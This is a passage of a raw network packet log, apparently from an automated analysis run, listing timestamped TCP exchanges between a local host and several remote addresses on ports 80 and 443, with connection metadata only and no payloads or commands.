Oct 29, 2024 02:46:42.424748898 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.424807072 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.425163031 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.425343990 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.425530910 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.425549984 CET	49906	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.425559044 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.425585985 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.425600052 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.427283049 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.427443981 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.427508116 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.427915096 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.427963018 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.428016901 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.430018902 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.430177927 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.430242062 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.434798956 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.434813976 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.448998928 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.449013948 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.449042082 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.449050903 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.449058056 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.449075937 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.449091911 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.449093103 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.449120045 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.449131966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.449136972 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.449160099 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.449178934 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.449203014 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.449218988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.449223995 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.449240923 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.449279070 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450052977 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450083971 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450098038 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450114012 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450126886 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450141907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450153112 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450164080 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450180054 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450185061 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450216055 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450226068 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450232029 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450248957 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450253963 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450272083 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450278044 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450300932 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450321913 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450323105 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450335026 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450349092 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450364113 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450378895 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450388908 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450393915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450412035 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450417995 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450433016 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450434923 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450449944 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450459957 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450474024 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450478077 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450484991 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450501919 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450522900 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.450525045 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450546980 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.450567961 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.470297098 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.470312119 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.470340967 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.470352888 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.470356941 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.470385075 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.470387936 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.470406055 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.470413923 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.470422029 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.470431089 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.470438957 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.470451117 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.470455885 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.470460892 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.470489979 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.470489979 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.473052979 CET	49906	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.473064899 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.473151922 CET	49906	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.473155975 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.473290920 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.473320007 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.473345041 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.473356962 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.491810083 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.491841078 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.491856098 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.491871119 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.491883039 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.491900921 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.491916895 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.491918087 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.491934061 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.491950035 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.491966009 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.491976023 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.491981983 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.491995096 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.492000103 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.492016077 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.492022038 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.492063999 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.514448881 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.514462948 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.514482021 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.514487028 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.566077948 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.566096067 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.566112041 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.566127062 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.566143990 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.566168070 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.566184044 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.566200018 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.566210032 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.566216946 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.566236019 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.566248894 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.566250086 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.566252947 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.566277981 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.566277981 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.566298008 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.566942930 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.566998959 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567009926 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567017078 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567049026 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567059040 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567080021 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567086935 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567086935 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567096949 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567127943 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567135096 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567135096 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567145109 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567166090 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567169905 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567184925 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567195892 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567202091 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567213058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567228079 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567234993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567245007 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567254066 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567261934 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567271948 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567280054 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567287922 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567296028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567305088 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567351103 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567351103 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567465067 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567517042 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567528009 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567543983 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567593098 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567600965 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567616940 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.567646980 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.567677021 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.578255892 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.578277111 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.578288078 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.578294039 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.587241888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.587275028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.587289095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.587294102 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.587327957 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.587336063 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.587346077 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.587352037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.587382078 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.587394953 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.587399960 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.587423086 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.587424994 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.587430000 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.587459087 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.587481976 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.587924004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.587939978 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.587954998 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.587985992 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.588000059 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.608596087 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.608609915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.608624935 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.608649015 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.608670950 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.608690977 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.608690977 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.608701944 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.608721018 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.608735085 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.608735085 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.608741045 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.608747959 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.608762980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.608778000 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.608789921 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.608793974 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.608809948 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.608825922 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.608851910 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.683329105 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683357000 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683372974 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683387995 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683403969 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683403969 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.683418989 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683434963 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.683449030 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683463097 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683481932 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.683490038 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683504105 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.683510065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683518887 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683523893 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683535099 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.683541059 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683553934 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.683557034 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683593035 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.683638096 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.683897018 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683928013 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683940887 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.683959961 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.683979988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.683995008 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684010029 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684027910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684036970 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.684065104 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.684246063 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684273005 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684288979 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.684303999 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684317112 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.684319019 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684335947 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684344053 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.684353113 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684357882 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.684376955 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.684395075 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.684720039 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684736013 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684763908 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684765100 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.684778929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684787989 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.684806108 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.684808969 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684817076 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.684825897 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684842110 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684847116 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.684859037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.684864998 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.684875965 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.684894085 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.704291105 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.704315901 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.704330921 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.704349041 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.704355001 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.704361916 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.704370022 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.704385996 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.704422951 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.704427958 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.704444885 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.704459906 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.704478025 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.704500914 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.704691887 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.704726934 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.704741001 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.704756021 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.704768896 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.704793930 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.706326008 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.706361055 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.706583023 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.708264112 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.708291054 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.710479021 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.710522890 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.710618973 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.710787058 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.710809946 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.712578058 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.712632895 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.712874889 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.725550890 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.725572109 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.725600958 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.725624084 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.725630045 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.725652933 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.725667953 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.725673914 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.725703955 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.725716114 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.725720882 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.725735903 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.725759983 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.725765944 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.725773096 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.725786924 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.725790024 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.725805998 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.725810051 CET	49838	80	192.168.2.5	185.215.113.206
